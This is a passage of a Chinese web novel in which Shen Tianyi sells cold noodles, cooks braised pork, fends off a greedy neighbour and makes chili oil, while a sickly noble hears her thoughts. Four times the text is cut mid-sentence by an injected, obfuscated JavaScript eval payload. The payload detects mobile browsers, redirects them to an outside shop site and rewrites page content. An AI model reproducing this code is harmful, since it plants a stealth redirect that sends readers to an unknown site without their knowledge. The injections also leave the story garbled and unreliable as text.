如今还早。 沈天意招呼弟弟妹妹一起出门采购明日摆摊的材料，顺便买点儿菜回来做饭。 临走前，她将放好的二百文钱一并拿了出来。 昨天预留这两百文，是因为担心凉面卖不出去，导致十天后交不出房租流落街头，如今凉面卖得好，也不用再这么谨慎了。 钱要用起来才能生钱。 今天，她要给自己的凉面全面升级。 ****** 致远书院。 早课终于结束了。 助教一走，丁班立即活跃了起来。 秦宁生前桌周生生转过头：“饿死了，我带了桂花糕，昨儿个特意吩咐我家小五起了大早去漱芳斋排了半个时辰的队才买到的，我心善，叫爷一声哥，分你两块，如何？” 周生生家里是开杂货店的，也算是小商贾，两人身份地位相同，又都爱吃，自然而然成了好友。 秦宁生：“……” 白了他一眼。 “不用，我带了早膳。” 说完，扭头看向教堂后面的秦一，秦一立即提着一个饭盒走过来：“少爷。” 秦宁生接过，打开来。 面条金灿灿带着光泽、黄瓜脆嫩、最上面是姜蒜末、间杂着一些酱色的生抽，看上去很是清爽，也平平无奇。 至少，在周生生眼里是这样的。 他撇嘴，吐槽：“这什么？一点儿香味也没有，我看不咋样~” 秦宁生看着，也有些不想吃。 但，听到周生生的话，不想服输，拿起一旁秦一递过来的银筷子，搅拌了起来，这一搅拌，原本的清新色泽也消失了，卖相更一般。 此刻，他已经彻底没了胃口。 不过，到了这个份上，他硬着头皮夹起一根放入嘴里。 然后—— 秦宁生惊讶的瞪大了眼睛。 这味道！ 调料简单普通没有丝毫优点，但这面条又劲道又弹牙，带着纯粹的面香，还有一股鸡蛋的香味，吃进嘴里面条没有一点黏腻，在黄瓜的配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615817|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，如同夏日喝了一杯冰饮。 冰饮只能解渴，不能饱腹。 这凉面，绝了！ 他顾不上礼仪，大口大口的吃了起来。 见此。 秦一都惊呆了。 少爷为了在周少爷面前逞强，这么拼吗？ 周生生却是被馋到了，忍不住伸出魔爪：“老秦，给我也尝尝这是啥味儿~” 秦宁生护食：“不给……”他说话含含糊糊，也没忘记往嘴里塞凉面。 见他这样，周生生更馋了：“老秦，我的哥，给我尝一口吧，咱们还是不是好兄弟了？我那次带了好吃的没喊你。” 听到这话，秦宁生良心动了动，艰难开口：“好吧，就给你吃一口。” 闻言。 周生生一把抢过饭盒，拿起饭盒里另一双筷子，猛夹了一大筷子塞进嘴里，眼睛瞬间发亮：“唔，果然好吃，太好吃了……” 秦宁生见状，脸都绿了。 畜生啊！ 一口就给他吃完了。 秦宁生忍无可忍，直接上手抢过来：“拿来吧你。” 周生生嘴巴鼓鼓囔囔的，也没反抗，“不好意思”的对他笑了笑。 秦宁生翻了个白眼。 滚吧！ 装什么？ 兄弟一场，谁还不知道谁？ 他将饭盒放好，抽出了第二层，又是一份全新的凉面，朝着周生生露出了得意的笑：“呵，和哥斗，你还嫩了点儿~” 周生生长大了眼睛。 失算啊！ 下一刻，眼睛发亮，谄媚道：“哥~” 秦宁生理都不理，埋头苦吃。 一旁。 秦一呆若木鸡。 少爷这模样，不像是在逗周少爷啊？ 莫不是，这凉面真的很美味？ 那岂不是…… 他伸出手：“这……” 这份是我的啊！！！ 泪流满面。 他眼睁睁看着自家少爷把他那一份凉面吃得干干净净，一根面条都没给他剩下。 他提着空饭盒，无语凝噎。 上课铃响了。 少爷得上课，他偷偷摸摸出了教堂，直奔书院大门。 卖凉面的位置，空！荡！荡！ 他忍不住询问旁边：“在这儿卖凉面的小娘子呢？” 何娘子不是第一次回答这个问题了，飞快熟稔：“卖光了走了。” 卖光了…… 光了…… 了…… 秦一心里苦。 ****** 沈天意这边。 她先是去王家粮铺买了六斤白面，花了一百文钱；买了一斗杂粮面，三十六文；买了两斤大米，十六文钱。 她上一世是川省人，还是喜欢吃米饭。 然后，她去买了一斤生抽，接着，又去药铺买了八角、桂皮和香叶、姜，就一两不到，花了她一百文钱，心疼坏了，再接着，她买了半斤白糖，花了三十文钱。 随后。 她去了集市。 黄瓜八根、鸡蛋六个、豆芽两斤、香菜和芹菜一小把，蒜两头。又找了许久，找到一家卖茱萸的，有晒干了的茱萸，北方不怎么吃辣，因此，茱萸很便宜，她花了四文钱，就卖了一斤晒干的茱萸。 所有的材料备好。 沈天意算了一下账，一共花了三百零六文钱。 至此，她手里还剩下五十八文钱。 10. 红烧肉 不算不知道，一算吓一跳。 沈天意由衷感叹：“花钱容易挣钱难啊~” 上一辈子，作为一个富二代，她可从来没有为钱发愁过。 午饭还没着落呢。 她看向弟弟妹妹：“午膳你们有啥想吃的？” 沈天慧一时没主意。 沈天明双手提满了东西，当即道：“我想吃凉面，大姐，别花钱了，咱们回家吧。” 他一直在暗暗算账，一路上看大姐花钱如流水的架势，心惊胆战的。 沈天慧举起双手赞成：“凉面？可以可以，我还没吃够呢。” 凉面？ 凉面是好吃，但也不能餐餐吃顿顿吃呀。 再说了，她不想吃了。 好不容易有个健康的身体，又是第一次挣到了钱，必须得好好犒劳自己。 沈天意决定不听他们的，左右环视了一圈，指着肉摊，说：“那好，我们今天吃红烧肉。” 说完。 她径直走向猪肉铺。 身后。 沈天慧惊讶：“咿？！” 下一刻，喜滋滋像个跟屁虫一样跟了上去。 “大姐，红烧肉是什么？” 沈天意回答：“红烧肉你没吃过？好吧，红烧肉就是用五花肉做的炖肉，炖得软烂一抿就化了，可好吃了。” 虽然，她也没吃过。 但，爷爷给她录得红烧肉教程里就是这么说的，一定没错。 沈天慧：“哇，一听就很好吃。” “……” 身后。 沈天明：“……” 无奈。 提腿跟上。 算了，这钱都是大姐挣得，大姐爱怎么花怎么花吧，大不了花完了，他们三个一起流落街头，乞讨回老家。 ****** 回到家。 已经是巳时末了。 该做午饭了。 还好，厨房没人用。 这个小院一共四个租户，赖家人在前面开羊杂汤店，一般三餐都在店里解决不会用后面的厨房；何娘子卖饼定制了一个炉子，也很少用厨房；东厢房的张家最神秘，沈天意住进来半个月了，都没和张家人碰过面，连他们家有几个人都不知道。 沈天意提着五花肉和大米进了厨房。 首先，她淘米把饭给煮上，然后，开始处理五花肉。 现在天气热，这个朝代又没有冰箱，因此，五花肉都是屠夫当天现宰现杀的，十分新鲜，不需要先焯水，直接下锅就行。 这一块五花肉，是五花三层的，最适合做五花肉。 说实话，她没想到自己这么晚去菜市场，还能买到这么好的五花肉，这在现代菜市场，是绝对不可能的。 问了屠夫，才得知原因。 这年头，上层人士吃猪肉的少，多是吃牛、羊、鹿、鸡鸭或者野味，猪肉是中下层老百姓的主要荤腥。 这是由于以前的猪都没去势，肉吃着有浓郁的腥臊味道，如今的猪虽然已经经过劁猪，味道再无腥臊味，但上层人士依然觉得它上不得台面，但中下层可不讲面子，只要便宜又好吃即可。 言归正传。 大家普遍缺油水，因此，卖得最好的是肥猪肉，价格也最高，要十八文一斤，五花肉有肥有瘦，可价格和纯肥肉一个价，也要十八文，因此，销量并不好。 这可不就便宜了沈天意。 沈天意先打了一盆清水，把五花肉清洗了一下，然后，将其改刀成了两厘米大小的正方形，这条猪肉屠夫处理得很干净，皮的位置一点儿毛都没有，否则，改刀前还需要把毛给拔了，再在火上烤一烤猪皮。 接着，生火。 沈天明和沈天慧歇息够了，也凑近了厨房。 他们自告奋勇揽下了烧火的重任，沈天意自然依他们，她虽然是姐姐，但也不想把两个人养成衣来伸手饭来张口的废物，大家都要干力所能及的事情，一起让这个家越来越好。 锅热，倒少许油。 放入切好的五花肉块，中小火慢慢煸炒。 等到所有五花肉表面微微焦黄，同时，锅里煸出了不少油，就可以盛出来备用。 沈天意指挥小妹：“天慧，去给我拿一个小碗过来，然后，再把白糖和药铺买的那一小包香料给我拿过来。” 沈天慧点头，噔噔噔跑走了。 很快，她返回：“大姐，给你。” 沈天意接过碗，用锅铲将锅里的油盛了大半起来，只留底油。 她在心里自言自语：不愧是土猪肉，这肉就是肥，一斤五花肉炼出了这么多油，估计有一两了吧。 随后。 她取走了白糖，小心翼翼倒了些许在锅里。 见状。 沈天慧惊了：“唉，大姐，你怎么把糖往锅里面倒？咱们不是要做肉吃吗？” 沈天明也站了起来。 沈天意淡定：“这红烧肉好吃的秘诀就在这里，你们就等着看吧。” “天明，最小火。” 沈天明缓缓坐回去：“……好的，大姐。” 沈天慧半信半疑。 沈天意没有解释，等白糖融化混合了油脂开始变红冒泡，她飞快将盛出来放在一边的五花肉倒进锅里，迅速翻炒至每块五花肉都均匀的上色。 炒好糖色后。 她又加入了一片八角、一片桂皮和一片香叶。 继续翻炒，等香料炒出香味，接着，倒入适量的生抽，原本这里是需要倒入一些白酒或者黄酒去腥的，可是，她这里没有，再加上肉好，就省略了这个步骤。 下一步，倒入没过五花肉的开水。 值得一提，这个厨房虽然只有一个铁锅，但，却有一大一小两口灶，她特意找出了家里的陶瓷甑子，用来做沥米饭。 刚才，沈天慧已经帮忙沥了米。又加了一勺凉水，此刻已经在锅里滚烫，正好用得上，和她计算得刚刚好。 加了水，大火烧开，转最小火，让它慢炖三刻钟左右。 此刻。 香味其实已经出来了，只是还不够浓郁。 沈天意闻了闻味道，满意的点头，心里点评道：“嗯，和爷爷做的红烧肉味道差不多，就是这个味儿，没出错。” 一旁。 沈天慧已经疯狂吸鼻子了。 “大姐，这红烧肉好香啊，香得我都要流口水了~” 沈天明也震惊：“以前娘也做过炖肉，也很香，但完全没有这么香……”这香味太霸道了，让人忍不住分泌口水，肚子的馋虫都冒出来了，想要一口气干上五碗饭。 闻言。 沈天意傲娇的扬了扬头。 这可是红烧肉，猪肉巅峰菜肴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615818|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 随着时间的过去，厨房内红烧肉的香味越发的浓郁，沈天慧已经不停地咽口水，望眼欲穿了：“大姐，好了吗？” 沈天意舔了舔嘴：“快了。” 随即，她掀开盖子。 那一瞬间，一股霸道的香味扑面而来。 沈天慧：“哇塞！” 沈天明：“咕噜咕噜！” 沈天意喉头滚动，招呼沈天明：“天明，大火。” 沈天明艰难从锅里移开视线，点头：“是。” 最后一步，大火收汁。 姐弟三人的心里眼里都只有锅里油汪汪、红扑扑、软软弹弹的肉，丝毫不知道这个味道传想了左邻右舍，引起了骚动。 ****** 前方。 羊杂汤店。 羊杂汤生意最好是在早晨。 不过，赖家从早到晚都开店，毕竟，其他时候也不是没客人来吃羊杂汤，只是人少一些，能多卖一碗是一碗。 此刻。 羊杂汤店里只有两位客人。 这两个客人，都是店里的常客。 “什么味道？谁家在炖肉吗？” “我也闻到了，好香啊。” “闻着这个肉香味，我口水都要流出来了。” “……” 赖家人自己也在吃饭。 赖婆子抠门得很，他们吃得很简单，店里的羊杂汤，只有汤没有羊杂，汤拌饭，菜是一盘咸菜和两个煎蛋。 为啥是两个？ 因为，一个是她儿子赖大郎的，一个是她宝贝孙子赖耀祖的。 至于儿媳妇张氏是没有的。 一个女的，吃这么好做什么？ 对此。 张氏心里不是没怨气。 可是，赖婆子自己也不吃鸡蛋，她也没借口找茬。 此刻。 赖耀祖突然摔了筷子，嚷嚷起来：“好香，我要吃，我要吃，我要吃肉！” 赖婆子笑出了一脸的褶子，宠溺答应：“好好好，奶明天就给我乖孙买肉吃。” “不要，我不要！”赖耀祖一点儿不领情，继续撒泼：“我现在就要，我现在就要吃肉，我现在就要啊啊啊啊！！！” 他发出尖叫。 儿童的声音极其刺耳，店里的客人忍不住皱起了眉头。 “闭嘴！” 赖大郎厉声呵斥：“再哭，明天也别想吃肉。” 赖耀祖被吓得止住了哭。 “老大你吼什么？” “耀祖还是个孩子呢。” 赖婆子心疼的搂住赖耀祖：“别吓着我乖孙。” 赖耀祖立刻像是找到了主心骨，对着赖婆子撒娇：“奶，我要吃肉，我要吃肉，我要吃香香的肉……” 赖婆子点头答应：“好好好，奶给你想办法。” 赖大郎无奈了：“娘，咱们哪里给他变出肉来？” 赖婆子理所当然：“我闻着，这香味似乎就从后面传出来的，要不是赵家、要不是咱们这个院子的其他几家人、要不是隔壁馒头铺马家，小孩子嘴馋，大不了我厚着脸皮问他们要一块给孩子解解馋，我不信他们不给？” 赖大郎沉默了。 张氏一直默不作声，因为赖耀祖被肉香味勾引了，也忘记了吃煎蛋，她偷偷的把煎蛋自己给吃了。 11. 不是好欺负的 赵家四口：赵父赵远、赵母冯香彩、赵家大郎赵君平和赵家三娘赵圆正在后院的正房吃饭，不仅更清晰的知道香味从何处来，而且还听到了沈天慧时不时的惊呼声。 “好香啊～” 赵圆人如其名，小脸圆圆的，平日里就嘴馋，此刻忍不住一边使劲儿咽口水，一边感叹：“没想到，这沈家人厨艺这么好。” 她心道：要不是不熟，我都想去蹭饭吃了。 赵大郎赵君平附和：“是挺香。” 他长着一副老实样，性格也是老实本分，平日里就沉默干活儿，话很少，这一次能够让他开口，足以见得沈天意这红烧肉的威力。 赵远也点头：“也不知道在做什么，这么香？” “咋的？” 冯香菜白了他们一眼：“嫌弃我做的饭菜难吃？” “哪儿有？” 赵圆当即拍马屁，使劲儿刨起饭来：“娘亲，你做的最好吃了。” 赵远直点头：“对对对。” 赵君平不敢说话。 见三个人那怂样，冯香彩忍不住掀起来嘴角：“瞧你们这心虚劲儿？” 三人装傻。 “不过。” 冯香彩不再看他们，看向隔壁，认可的点头：“这的确挺香的。” 接着，她脸色一正：“圆圆，你刚才和我说，早晨看到沈家姐弟出门摆摊了？” 这话一出。 赵远和赵君平好奇的看了过来。 赵圆重重点头：“没错，我看他们推着一辆独轮车出去，上面放了木盆、木桶啥的，还听他们说担心生意不好呢。” “后面我见他们回来笑嘻嘻的，估计生意还不错。” 最后，发自内心道：“也不知道在哪儿摆摊的，我都想去买一份尝尝味道了。” “就你嘴馋！” 冯香彩无语吐槽了一句。 接着，她感叹道：“这沈家姐弟租了我们家院子半个月左右，我对两个小的没什么意见，可那沈家大丫头整日不着家也不知道去干什么了，对两个小的不管不顾，我看着不喜欢。” “原本，我是打算等这个月他们租期到了，就不给他们续租了，现在看来，这沈家大丫头是良心发现改好了。” “你们说，我是按照原计划不租房子给他们了，还是继续租给他们？” 闻言。 三人先是惊讶，然后陷入了思考。 赵圆首先发言：“娘，既然人家改好了，就继续租呗。” 赵君平犹犹豫豫，最后开口：“我没意见，都听娘你的。” 赵远最后道：“我和圆圆一个想法，这沈家姐弟三人也没惹事儿，谁知道把他们换走了下一任租户是好是坏？” “那好吧。” 冯香彩其实心里本就犹豫了，否则不会问出来，听到女儿和丈夫的话，当即做出了决定：“我就再给他们一次机会。” ****** 西厢房。 沈天意姐弟三人分工合作，一人端米饭、一人端米汤、一人端红烧肉回了屋。 三人对于赖家和赵家发生的一切一无所知。 关上门。 三人坐下，齐刷刷拿起筷子伸向了桌上正中间浓油酱赤的红烧肉。 “哇！” 一入口，沈天慧一双眼睛肉眼可见的发亮，仿佛有星星在期中闪烁。 她已经用尽全力去想象这肉的味道，但真正吃到嘴里才发现，这肉比她想象的还要好吃一百倍。 “好吃！” 沈天明也好吃得词穷了。 沈天意心里对这红烧肉的味道有定义：猪皮软糯弹牙、肥肉的部分肥而不腻、入口即化、瘦肉的部分酥烂入味，味道带着浓油酱赤的厚重感。 这份红烧肉完美符合定义。 但，又比定义更让人惊喜，不仅是味道上的美味，还似乎多了一种满足和愉悦感。 这是金手指的功劳。 但也许，她在厨艺上也有那么些许的天赋。 毕竟，她可是御厨世家的孩子。 这么想着，沈天意心里忍不住自夸：【这红烧肉，每一口软、糯、香、弹、甜、咸的滋味都在嘴里爆发，混合着米饭，快活似神仙啊～】 ****** 同一时刻。 荣国公府温泉山庄，暖阁。 谈昀早晨喝了药，一直滴米未进。 眼看已经到了饭点，谈安见他还没有叫膳的苗头，硬着头皮开口：“公子，今天国公爷专门派人送来了一只羔羊，说是给长公主殿下和您补身子，厨房炖了羊汤，要不小的让人给你盛一碗？” 闻言。 谈昀放下手里的棋谱，皱眉摇头，正欲拒绝：“不……” 这时。 脑海里熟悉的女声再次响起：【这红烧肉，每一口软、糯、香、弹、甜、咸的滋味都在嘴里爆发，混合着米饭，快活似神仙啊～】 这女声充满了欢乐。 谈昀情不自禁呢喃：“红烧肉……” “公子，你说什么？” 谈安没听全，疑惑询问：“您有想吃的吗？小的这就吩咐厨房去做。” 谈昀沉默。 好一会儿，他抬眼看向谈安，语气迟疑但还是开了口：“红烧肉。” “红烧肉？” 这次谈安听清楚了，也更加诧异了：“公子，这是什么菜肴？小的从未听说过呢。” 谈昀抿紧了嘴：“……罢了。” 他心里早有猜测过，这脑海里的女声是天外之人。 否则，谁能有能力把自己的声音放进别人的脑子里呢？ 谈安急了：自己公子好不容易开口点个菜，怎么能算了呢？ “公子，也许是我没听过红烧肉这道菜，我去问问厨子，他们也许知道。” 说完。 他急急转身离去。 谈昀看着他的背影，薄唇微张，最后什么也没说。 在他自己都没察觉的时候，心里还存着一丝期望…… ****** 回到沈天意这边。 姐弟三人正吃得香，突然，房门被人敲响了。 三人下意识对视了一眼，眼底都是疑惑。 沈天意开口：“谁啊？” 一个苍老的女声响起：“沈家丫头开门，我是隔壁赖家的。” 赖家？ 三人更惊讶了。 无缘无故的，赖家怎么会来敲他们的门？ 沈天意心里暗道：邻里邻居，抬头不见低头见，人家都找上门了，也不好闭门不见。 于是。 她站起身：“我去开门。” “你们继续吃你们的。” 沈天明和沈天慧齐齐摇头：“等大姐你回来一起吃。” 沈天意面露欣慰。 这便宜弟弟妹妹，真的太乖太懂事了，让人不得不心疼。 由此，她再次感叹：也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615819|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道原身怎么狠得下心那么对他们的？ 打开门。 入目，是一对祖孙。 沈天意一眼便辨认出来，这两个就是赖家的赖婆婆和赖耀祖。 沈天意语气客气：“你有什么事儿吗？” 赖婆子语气咄咄逼人：“我刚才闻到一股好香的肉香味，是你们家传过来的吧？” 沈天意忍不住皱起了眉头，心里有些不舒服。 她这是想干嘛？ 没等她反应，赖耀祖已经等不及了，直接推了沈天意一把，直接往屋里闯：“就是这个香味，我要吃肉肉，我要吃……” 沈天意被推了一个踉跄。 她好不容易站稳，心里了然。 原来是被她做的红烧肉勾引过来的…… 她第一时间看向赖婆子，她毫无动作，一点儿也没有阻止自己孙子的意思。 有意思！ 沈天意气笑了。 怎么，当是自己家吗？ 她看着赖耀祖已经把手往红烧肉盘子里抓了，沈天明和沈天慧被这变故弄得一时没反应过来，直接一个箭步冲过去，抢先端起了红烧肉，高高举在头顶。 赖耀祖扑了个空。 他先是一愣，然后，哇的一声嚎叫起来，坐在地上撒泼。 “哇啊啊哇……我要吃肉，我要吃肉……奶、奶、我要吃肉……” 赖婆子脸色大变。 她直冲冲冲进屋里，心疼的扶起孙子：“耀祖乖啊，别哭了，奶给你肉，给你肉啊，别哭了……” 哄了两句。 她抬起头，恶狠狠瞪着沈天意，命令般的语气道：“还不赶紧把肉拿过来。” 沈天意：“……” 你没事儿吧？ 老太太，您算老几？ 人无语的时候是真的会笑。 她声音从牙缝里挤出来：“请你出去。” 闻言。 赖婆子不可置信：“你说什么？” 沈天意重复：“这里是我家，我让你出去。” 赖婆子终于听懂了。 她脸色青了又白，白了又红，红了又紫，颤抖着手指指着沈天意，教训道：“你一个小娘子，怎么这般小气？我孙子不过是想吃你一块肉，都是邻里邻居的都舍不得，还让我们滚？你爹娘就是这么教你的，没教养。” 这话一出。 沈天明和沈天慧立刻气红了眼，怒目而视的瞪着赖婆子。 ”你……” “滚……” “没错。” 沈天意打断他们的话，直视着赖婆子，一字一句：“我爹娘教我们遇到不要脸的千万不要脸皮薄，直接让他们滚。” 沈天慧立刻附和：“就是，我们家不欢迎你们。” 沈天明指着房门：“赶紧滚，不让我们叫人了！” 赖婆子无可奈何，最终，只能带着赖耀祖悻悻离开。 “走就走。” 她嘴里不干不净： “呸，这肉一看就难吃，怕是臭的，当谁稀罕一样，我呸……” 沈天意一把关上门，怼了一句：“你放心，臭了也不会给你吃。” 赖婆子气：“你……” 赖耀祖不依了，开始撒泼打滚：“奶，我要吃肉，我要吃肉，我要吃肉……” 赖婆子受了一肚子气，正没地方发，立刻打了赖耀祖屁股一巴掌：“吃屁！” 赖耀祖吓坏了，立刻收住了哭。 12. 茱萸油 屋内。 沈天意自然听见了外面赖耀祖的哭闹和赖婆子的呵斥，她丝毫不放在心上。 沈天慧崇拜的看着她：“大姐，你真厉害！” “这赖婆子嘴可真恶毒，我气得发抖，脑子一片空白，都不知道怎么回怼她了。” 沈天明默默点头。 他也是第一次遇到这种事情，当时真的是懵了。 沈天意笑了笑：“嘿嘿，还行吧。”这都是她上辈子看电视学来的。 上一世，她身体不好不能外出，爱好就是上网：看小说、看电视剧、看电影、看动漫等宅家活动。 ****** 赖婆子这边。 她拉着一张脸回到了羊杂汤店。 赖耀祖脸上还带着泪痕，看上去有几分可怜。 赖大郎见了，一脸意外：“娘，咋了这是？” 娘这是没得手？ 不可能吧？ “别提了。” 说起这个赖婆子就气，狠狠拍了一下桌子：“那沈家的臭丫头性子古怪得很，邻里邻居的一口肉都舍不得给。” “我看啊，她以后肯定嫁不出去。” 还真失败了？！ 而且，还是沈家那三个小年轻？ 赖大郎听闻，不敢置信。 张氏默不作声。 她心里暗暗高兴：哼，总算有人能治一治我这恶婆婆了！痛快！ 冷不丁。 赖耀祖哇得哭了起来：“我的煎蛋，我的蛋呢？呜呜呜，我要吃鸡蛋，我的鸡蛋，谁把我的鸡蛋吃了，还我鸡蛋……” 这次哭得十分伤心，眼泪直往外流。 赖大郎一时愣住。 张氏却是一脸心虚。 赖婆子见状，顿时心头火气，指着张氏破口大骂：“你个好吃嘴，连你儿子的鸡蛋都要偷吃？我怎么这么倒霉娶了你这么一个丧门妇！” 说着。 她举起手想要去掐张氏的胳膊。 张氏早有预料，弹得一下子站了起来，慌张道：“娘，我错了，我以为耀祖不想吃，我这就再去给耀祖重新煎一个蛋。” 说完。 跑远了。 赖婆子又无功而返。 沈天意这臭丫头是外人也就罢了，张氏这个自家人也敢反抗她？ 反了天了！ 赖婆子觉得自己的威严受到了挑衅，脸色一瞬间阴沉如水，吼道：“张氏，你……” 店里吃饭的客人终于忍不住了。 “这是在干什么？” “还让不让人吃饭了？” 话音刚落，一直作壁上观的赖大郎一下子活了，谦卑的对着客人拱手道歉：“不好意思，不好意思，我这就处理，这就处理。” 然后。 冷着脸看向赖婆子，声音死死压低：“娘，不就是一个鸡蛋吗？家里又不是吃不起，别闹了！” “难道你还嫌不够丢人？” 赖婆子不甘心，但看着儿子冰冷的眼神心里一跳，下意识点头：“知道了。” 赖大郎又看向赖耀祖：“不准哭了。” 赖耀祖被吓得打了个抖，立刻止住了哭。 赖大郎这才满意点头，走近羊杂汤锅，盛了两个半碗，递给两个客人。 “实在抱歉，这碗羊杂汤算是我给两位都赔礼。” 见此。 客人也消气了。 ****** 荣国公府，暖阁。 谈安端着一个盘子返回来。 谈昀立即放下了手里还停留在原页的棋谱，目光炯炯的看了过来。 谈安从小伺候谈昀，当即心领神会，直奔主题回答：“公子，小的问过厨房了，没听说过一道叫做红烧肉的菜肴。” “也不知公子是做何处听来的？” “小的立即派人去打听。” 谈昀眼神黯淡下来，语气厌倦：“罢了。” 谈安还想说什么。 谈昀已经移开了视线。 见此，谈安只能放弃，他将盘子放下，小心开口：“公子，刚才我在厨房正好碰到了长公主殿下身边的崔嬷嬷，她说长公主叮嘱奴才务必让您尝尝这炖羊肉。” 听到这话。 谈昀眉头紧皱，才正眼看向了餐盘，只一眼，就恶心得捂住了嘴巴：“拿走～！” 谈安无奈。 “是。” 他心里难受：公子的“恶食”是越发严重了，可不吃东西这身体怎么受得了？ ****** 沈天意这边。 吃过了午饭，沈天明和沈天慧自告奋勇洗碗，她自然答应了。 正好，昨晚做面做到子时，今早又起了个大早，她感觉有些困了。 爬上床，她很快睡了过去。 再次醒来，已经是半个时辰以后了，她坐起来，一眼就看到旁边睡得正香的弟弟妹妹。 轻手轻脚下了床，她没有惊醒他们。 洗了个手，擦了个脸。 沈天意彻底清醒了，看了一眼天色，大概是未时正。 “该准备明天摆摊的凉面了。” 她手脚利索的揉好了面条，等待醒面的过程中，沈天意准备熬复合酱油。 正好。 沈天明和沈天慧醒了。 沈天明询问：“大姐，我们有什么能帮忙的吗？” “还真有个任务给你们。” 沈天意早就做好打算了：“你们替我把茱萸磨成粉，我有用处。” “茱萸磨成粉？” “好的，大姐。” 沈天明和沈天慧不理解，但听话照做。 两人在屋子里磨茱萸粉，沈天意则是去了厨房。 复合酱油有很多种熬法。 沈天意是第一次熬，于是选择了最简单、做不容易出岔子的法子。 那便是，先将香料水煮出来，然后倒入生抽将水分蒸发，留下的就是浓稠的复合酱油。 首先。 沈天意将上午买的八角、香叶和桂皮清洗干净，然后，将它们和香菜、芹菜一起放进铁锅里，倒入适量的冷水，生火开小火，慢慢将水加热，使得香料浸透水中。 之后。 她将水盛到一个碗中，将香料和香菜、芹菜捡出来，香菜和芹菜丢掉，八角、桂皮和香叶留下，下次继续用。 沈天意自言自语：“摆摊挣这几个钱，必须得控制成本。” 没办法，人穷啊～ 第三步，将生抽倒入香料水，再重新倒回锅中，继续开小火慢慢熬。 随着时间推移，一股奇特的香味弥漫开来，锅里的颜色也越发的黑。 “差不多了。” 沈天意见此，立刻把锅里的酱油盛到了盆子，她不怕烫，用食指沾了一点儿酱油放进嘴里，点点头：“嗯，不错。” 复合酱油熬好了，面也发酵完成。 她立刻端着面盆返回屋子里，开始揉面、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615820|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擀面、切面。 足足一个时辰。 整整十二斤的面团成了一根根细长的面条。 沈天明忍不住开口：“大姐，你休息一会儿吧。” 沈天慧一脸心疼：“对啊，看你脖子和额头全是汗。” 他们要帮着大姐擀面，大姐却不要他们插手。 沈天意当然不敢让他们插手了。 她可是有金手指的，他们插手到时候味道不对，岂不是要影响生意？ 现在他们经不起折腾。 也许，等她以后手头宽裕了，可以研究一下如何让其他人能复刻自己的手艺。 这些事情很遥远。 回到现在。 沈天意没有拒绝他们的好意：“好，我休息一会儿。” 她也真的有些累了。 “大姐，你让我们磨的茱萸我们磨好了。”沈天明又开口：“你看这样行不行？” 沈天意查看了一下，满意点头：“嗯，这样就可以了。” “晚上我们就吃凉面。” “我用这茱萸做一个调味料，保管比早晨的味道更好。” 这话一出。 沈天慧和沈天明都期待起来。 休息了一刻钟，沈天意去了厨房煮面，过凉水，沥干水分用熟油将面条抖散搅拌均匀。 锅里还剩下熟油。 她只买了半斤菜籽油，昨日用了一两，刚才搅拌面条用了二两，还剩下二两。 做辣椒油的油和辣椒的比例最佳为四比一，二两油那便是半两辣椒粉。 拿出一个干净没有水的碗，倒入半两茱萸粉，然后起锅烧油。 将菜籽油烧热之八成油温，浇三分之一油到茱萸粉上，用筷子迅速搅拌均匀；再等一会儿，油温降低至六成，再淋三分之一到碗里；最后，等油温降到五成，将剩下的三分之一全部倒入碗里。 这三步，分别是激香、出红和融合。 要做出一份色香味俱全的辣椒油，任何的细节都是不能忽略的。 此刻。 整个厨房都弥漫着一股辣椒，不对，是茱萸和香油的味道。 又香又呛鼻。 沈天慧不停咳嗽：“咳咳咳……” 沈天明疑惑不解：“咳咳咳，大姐，这是什么？怎么这么呛人？” 沈天意简单解释：“茱萸油。” “茱萸是辣的，被油加热有些呛人，很快就好了。” 沈天明和沈天慧点头。 沈天慧好奇：“茱萸油，这怎么吃？” 沈天明灵机一闪：“难不成，这就是大姐你和我们说的新的调料？” 沈天意：“没错。” 她动作利索，直接开始拌面。 